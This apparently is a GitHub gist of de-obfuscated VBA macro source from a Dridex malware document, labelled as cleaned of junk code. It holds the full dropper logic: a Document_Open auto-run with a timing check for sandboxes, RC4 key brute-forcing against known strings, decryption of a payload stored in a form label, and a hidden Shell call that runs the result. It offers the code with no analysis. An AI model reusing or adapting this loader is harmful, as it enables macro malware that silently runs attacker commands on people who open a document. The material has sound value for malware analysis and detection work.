dridex.vb's cleaned - removed garbage code
Dim SRNATGh() As Byte | |
Dim AsVWQk(15812 - 6812) As Long, YeAeXXV(10269 - 270) As Long | |
**************************************************************************************************** | |
Private Sub GmY() | |
Dim N42Wo() As String, RJz As Integer | |
N42Wo = Split(UserForm1.Label1.Caption, Qxd7GSg(44)) | |
Dim U7PlAu3 As String | |
ReDim SRNATGh(3627) | |
For RJz = 0 To 3627 | |
SRNATGh(RJz) = N42Wo(RJz) | |
Next RJz | |
Dim Mea As Long | |
Dim XSRK2vh(13) As Byte, SSXJM(36) As Byte | |
XSRK2vh(0) = 237 | |
XSRK2vh(1) = 28 | |
XSRK2vh(2) = 3 | |
XSRK2vh(3) = 238 | |
XSRK2vh(4) = 231 | |
XSRK2vh(5) = 14 | |
XSRK2vh(6) = 250 | |
XSRK2vh(7) = 213 | |
XSRK2vh(8) = 86 | |
XSRK2vh(9) = 253 | |
XSRK2vh(10) = 10 | |
XSRK2vh(11) = 215 | |
XSRK2vh(12) = 237 | |
XSRK2vh(13) = 58 | |
SSXJM(0) = 79 | |
SSXJM(1) = 88 | |
SSXJM(2) = 80 | |
SSXJM(3) = 87 | |
SSXJM(4) = 89 | |
SSXJM(5) = 77 | |
SSXJM(6) = 101 | |
SSXJM(7) = 50 | |
SSXJM(8) = 86 | |
SSXJM(9) = 118 | |
SSXJM(10) = 54 | |
SSXJM(11) = 70 | |
SSXJM(12) = 120 | |
SSXJM(13) = 90 | |
SSXJM(14) = 103 | |
SSXJM(15) = 117 | |
SSXJM(16) = 65 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
SSXJM(17) = UMI(Mea, 1) | |
SSXJM(18) = UMI(Mea, 2) | |
SSXJM(19) = UMI(Mea, 3) | |
SSXJM(20) = UMI(Mea, 4) | |
SSXJM(21) = SSXJM(17) | |
SSXJM(22) = SSXJM(18) | |
SSXJM(23) = SSXJM(19) | |
SSXJM(24) = SSXJM(20) | |
SSXJM(25) = SSXJM(17) | |
SSXJM(26) = SSXJM(18) | |
SSXJM(27) = SSXJM(19) | |
SSXJM(28) = SSXJM(20) | |
SSXJM(29) = SSXJM(17) | |
SSXJM(30) = SSXJM(18) | |
SSXJM(31) = SSXJM(19) | |
SSXJM(32) = SSXJM(20) | |
SSXJM(33) = SSXJM(17) | |
SSXJM(34) = SSXJM(18) | |
SSXJM(35) = SSXJM(19) | |
SSXJM(36) = SSXJM(20) | |
If Cv8Cg3(XSRK2vh, SSXJM) = "TYTKJQBmiDtlWm" Then Exit For | |
Next Mea | |
Dim NYAqlva(10) As Byte, DjFRc(35) As Byte | |
NYAqlva(0) = 86 | |
NYAqlva(1) = 3 | |
NYAqlva(2) = 109 | |
NYAqlva(3) = 200 | |
NYAqlva(4) = 61 | |
NYAqlva(5) = 230 | |
NYAqlva(6) = 34 | |
NYAqlva(7) = 53 | |
NYAqlva(8) = 211 | |
NYAqlva(9) = 172 | |
NYAqlva(10) = 225 | |
Dim U7PlAu12 As String | |
DjFRc(0) = 77 | |
DjFRc(1) = 120 | |
DjFRc(2) = 69 | |
DjFRc(3) = 90 | |
DjFRc(4) = 107 | |
DjFRc(5) = 89 | |
DjFRc(6) = 72 | |
DjFRc(7) = 100 | |
DjFRc(8) = 52 | |
DjFRc(9) = 87 | |
DjFRc(10) = 87 | |
DjFRc(11) = 105 | |
DjFRc(12) = 84 | |
DjFRc(13) = 55 | |
DjFRc(14) = 52 | |
DjFRc(15) = 89 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
DjFRc(16) = UMI(Mea, 1) | |
DjFRc(17) = UMI(Mea, 2) | |
DjFRc(18) = UMI(Mea, 3) | |
DjFRc(19) = UMI(Mea, 4) | |
DjFRc(20) = DjFRc(16) | |
DjFRc(21) = DjFRc(17) | |
DjFRc(22) = DjFRc(18) | |
DjFRc(23) = DjFRc(19) | |
DjFRc(24) = DjFRc(16) | |
DjFRc(25) = DjFRc(17) | |
DjFRc(26) = DjFRc(18) | |
DjFRc(27) = DjFRc(19) | |
DjFRc(28) = DjFRc(16) | |
DjFRc(29) = DjFRc(17) | |
DjFRc(30) = DjFRc(18) | |
DjFRc(31) = DjFRc(19) | |
DjFRc(32) = DjFRc(16) | |
DjFRc(33) = DjFRc(17) | |
DjFRc(34) = DjFRc(18) | |
DjFRc(35) = DjFRc(19) | |
If Cv8Cg3(NYAqlva, DjFRc) = "DHS4qvwNRXr" Then Exit For | |
Next Mea | |
Dim V9PbJkV(15) As Byte, LW(36) As Byte | |
V9PbJkV(0) = 41 | |
V9PbJkV(1) = 167 | |
V9PbJkV(2) = 214 | |
V9PbJkV(3) = 167 | |
V9PbJkV(4) = 44 | |
V9PbJkV(5) = 230 | |
V9PbJkV(6) = 182 | |
V9PbJkV(7) = 5 | |
V9PbJkV(8) = 218 | |
V9PbJkV(9) = 85 | |
V9PbJkV(10) = 185 | |
V9PbJkV(11) = 32 | |
V9PbJkV(12) = 31 | |
V9PbJkV(13) = 179 | |
V9PbJkV(14) = 43 | |
V9PbJkV(15) = 107 | |
LW(0) = 85 | |
LW(1) = 54 | |
LW(2) = 83 | |
LW(3) = 84 | |
LW(4) = 76 | |
LW(5) = 75 | |
LW(6) = 118 | |
LW(7) = 119 | |
LW(8) = 56 | |
LW(9) = 85 | |
LW(10) = 90 | |
LW(11) = 66 | |
LW(12) = 115 | |
LW(13) = 97 | |
LW(14) = 115 | |
LW(15) = 56 | |
LW(16) = 90 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
LW(17) = UMI(Mea, 1) | |
LW(18) = UMI(Mea, 2) | |
LW(19) = UMI(Mea, 3) | |
LW(20) = UMI(Mea, 4) | |
LW(21) = LW(17) | |
LW(22) = LW(18) | |
LW(23) = LW(19) | |
LW(24) = LW(20) | |
LW(25) = LW(17) | |
LW(26) = LW(18) | |
LW(27) = LW(19) | |
LW(28) = LW(20) | |
LW(29) = LW(17) | |
LW(30) = LW(18) | |
LW(31) = LW(19) | |
LW(32) = LW(20) | |
LW(33) = LW(17) | |
LW(34) = LW(18) | |
LW(35) = LW(19) | |
LW(36) = LW(20) | |
If Cv8Cg3(V9PbJkV, LW) = "QjthqMM0nBOiLvHY" Then Exit For | |
Next Mea | |
Dim NSJBW7B(15) As Byte, K2Z(37) As Byte | |
'ingredient | |
NSJBW7B(0) = 171 | |
NSJBW7B(1) = 107 | |
NSJBW7B(2) = 175 | |
NSJBW7B(3) = 221 | |
NSJBW7B(4) = 59 | |
NSJBW7B(5) = 101 | |
NSJBW7B(6) = 156 | |
NSJBW7B(7) = 9 | |
NSJBW7B(8) = 207 | |
NSJBW7B(9) = 162 | |
NSJBW7B(10) = 59 | |
NSJBW7B(11) = 196 | |
NSJBW7B(12) = 242 | |
NSJBW7B(13) = 21 | |
NSJBW7B(14) = 42 | |
NSJBW7B(15) = 42 | |
K2Z(0) = 73 | |
K2Z(1) = 101 | |
K2Z(2) = 103 | |
K2Z(3) = 108 | |
K2Z(4) = 69 | |
K2Z(5) = 54 | |
K2Z(6) = 73 | |
K2Z(7) = 70 | |
K2Z(8) = 117 | |
K2Z(9) = 101 | |
K2Z(10) = 66 | |
K2Z(11) = 89 | |
K2Z(12) = 118 | |
K2Z(13) = 69 | |
K2Z(14) = 83 | |
K2Z(15) = 66 | |
K2Z(16) = 90 | |
K2Z(17) = 98 | |
For Mea = OHb(AsVWQk) To OHb(YeAeXXV) | |
K2Z(18) = UMI(Mea, 1) | |
K2Z(19) = UMI(Mea, 2) | |
K2Z(20) = UMI(Mea, 3) | |
K2Z(21) = UMI(Mea, 4) | |
K2Z(22) = K2Z(18) | |
K2Z(23) = K2Z(19) | |
K2Z(24) = K2Z(20) | |
K2Z(25) = K2Z(21) | |
K2Z(26) = K2Z(18) | |
K2Z(27) = K2Z(19) | |
K2Z(28) = K2Z(20) | |
K2Z(29) = K2Z(21) | |
K2Z(30) = K2Z(18) | |
K2Z(31) = K2Z(19) | |
K2Z(32) = K2Z(20) | |
K2Z(33) = K2Z(21) | |
K2Z(34) = K2Z(18) | |
K2Z(35) = K2Z(19) | |
K2Z(36) = K2Z(20) | |
K2Z(37) = K2Z(21) | |
If Cv8Cg3(NSJBW7B, K2Z) = "BZay9OtzSvNJpWTY" Then Exit For | |
Next Mea | |
Dim SiHbpw(147) As Byte, SIf As Long, CRfSt As Long | |
SIf = 0 | |
CRfSt = 0 | |
For Mea = 0 To OHb(SSXJM) | |
SiHbpw(Mea) = SSXJM(Mea) | |
SIf = SIf + 1 | |
Next Mea | |
For Mea = OHb(SSXJM) + 1 To OHb(DjFRc) + SIf | |
SiHbpw(Mea) = DjFRc(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
CRfSt = 0 | |
For Mea = SIf To OHb(LW) + SIf | |
SiHbpw(Mea) = LW(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
CRfSt = 0 | |
For Mea = SIf To OHb(K2Z) + SIf | |
SiHbpw(Mea) = K2Z(CRfSt) | |
CRfSt = CRfSt + 1 | |
SIf = SIf + 1 | |
Next Mea | |
OcMm1T = Cv8Cg3(SRNATGh, SiHbpw) | |
Shell OcMm1T, (374 - 374) | |
End Sub | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Sub GwQ9d() | |
End Sub | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function Qxd7GSg(ByVal BHxHFg As Integer) As String | |
Dim Wz(1) As Byte, KPA3 As Byte, LrdfxYI As Byte | |
If BHxHFg < 0 Then Exit Function | |
If BHxHFg > 255 Then | |
LrdfxYI = 0 | |
Else | |
KPA3 = BHxHFg | |
LrdfxYI = 0 | |
End If | |
Wz(0) = KPA3 | |
Wz(1) = LrdfxYI | |
Qxd7GSg = Wz | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function Cv8Cg3(K2fkl() As Byte, TBfWWQw() As Byte) As String | |
Dim DkB(0 To 255) As Integer, TzwC2o8 As Long, JuxOGCD As Long, YpxaVbI As Long, TjCv As Byte, GA() As Byte, OT() As Byte | |
ReDim GA(OHb(K2fkl)) As Byte | |
GA = K2fkl | |
ReDim OT(OHb(TBfWWQw)) As Byte | |
OT = TBfWWQw | |
For TzwC2o8 = 0 To 255 | |
DkB(TzwC2o8) = TzwC2o8 | |
Next TzwC2o8 | |
TzwC2o8 = 0 | |
JuxOGCD = 0 | |
YpxaVbI = 0 | |
For TzwC2o8 = 0 To 255 | |
JuxOGCD = SGo0s((JuxOGCD + DkB(TzwC2o8) + OT(SGo0s(TzwC2o8, (OHb(TBfWWQw) + 1)))), (256)) | |
TjCv = DkB(TzwC2o8) | |
DkB(TzwC2o8) = DkB(JuxOGCD) | |
DkB(JuxOGCD) = TjCv | |
Next TzwC2o8 | |
TzwC2o8 = 0 | |
JuxOGCD = 0 | |
YpxaVbI = 0 | |
For TzwC2o8 = 0 To OHb(K2fkl) | |
JuxOGCD = SGo0s((JuxOGCD + 1), 256) | |
YpxaVbI = SGo0s((YpxaVbI + DkB(JuxOGCD)), 256) | |
TjCv = DkB(JuxOGCD) | |
DkB(JuxOGCD) = DkB(YpxaVbI) | |
DkB(YpxaVbI) = TjCv | |
GA(TzwC2o8) = Iy23W(GA(TzwC2o8), (DkB(SGo0s((DkB(JuxOGCD) + DkB(YpxaVbI)), (256))))) | |
Next TzwC2o8 | |
Cv8Cg3 = M6C(GA) | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function Iy23W(Y4lZ, RvJWmVD) | |
Iy23W = (Y4lZ And Not RvJWmVD) Or (Not Y4lZ And RvJWmVD) | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function OHb(ByVal Uv0ZqrD As Variant) As Long | |
Dim Jkpzfs As Long, SzvYWV As Variant | |
Do | |
SzvYWV = Uv0ZqrD(Jkpzfs) | |
Jkpzfs = Jkpzfs + 1 | |
Loop | |
If Jkpzfs = 0 Then Exit Function | |
OHb = Jkpzfs - 1 | |
End Function | |
**************************************************************************************************** | |
**************************************************************************************************** | |
Private Function CHnp(ByVal KJJPl As String, ByVal To8G4k As Long, ByVal Fbz As Variant) As String | |
'abstained | |
Dim KXC0() As Byte, RZiZ4() As Byte, Lvd As Long, XhKwG As Long | |
KXC0 = KJJPl | |
Lvd = OHb(KXC0) | |
To8G4k = (To8G4k - 1) * 2 | |
Fbz = (Fbz * 2) - 1 | |
If To8G4k + Fbz > Lvd Then Fbz = Lvd - To8G4k | |
ReDim RZiZ4(Fbz) | |
For XhKwG = To8G4k To To8G4k + Fbz | |
RZiZ4(XhKwG - To8G4k) = KXC0(XhKwG) | |
Next XhKwG | |
CHnp = RZiZ4 | |
End Function | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Function UMI(AavXhKZ As Long, QUvjvie As Long) As Byte | |
Dim E9 As Long, Yp As Long | |
For E9 = 48 To 57 | |
If CHnp(AavXhKZ, QUvjvie, 1) = Yp Then UMI = E9: Exit For | |
Yp = Yp + 1 | |
Next E9 | |
End Function | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Sub dOCuMeNt_oPEN() | |
On Error Resume Next | |
Dim Mbau As Long, FS7rPff As Long, UN83e3l As Long | |
Mbau = 91034 | |
For FS7rPff = 1 To Mbau | |
UN83e3l = UN83e3l + 1 | |
Next FS7rPff | |
If UN83e3l = Mbau Then | |
GmY | |
Else | |
GwQ9d | |
End If | |
End Sub | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Function M6C(PWwslQ6() As Byte) As String | |
Dim UmtI5E As Long | |
'invades | |
For UmtI5E = 0 To OHb(PWwslQ6) | |
M6C = M6C & Qxd7GSg(PWwslQ6(UmtI5E)) | |
Next UmtI5E | |
End Function | |
***************************************************************************************************** | |
***************************************************************************************************** | |
Private Function SGo0s(TUO, KDSkW) | |
SGo0s = TUO - (KDSkW * (TUO \ KDSkW)) | |
End Function | |
***************************************************************************************************** |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment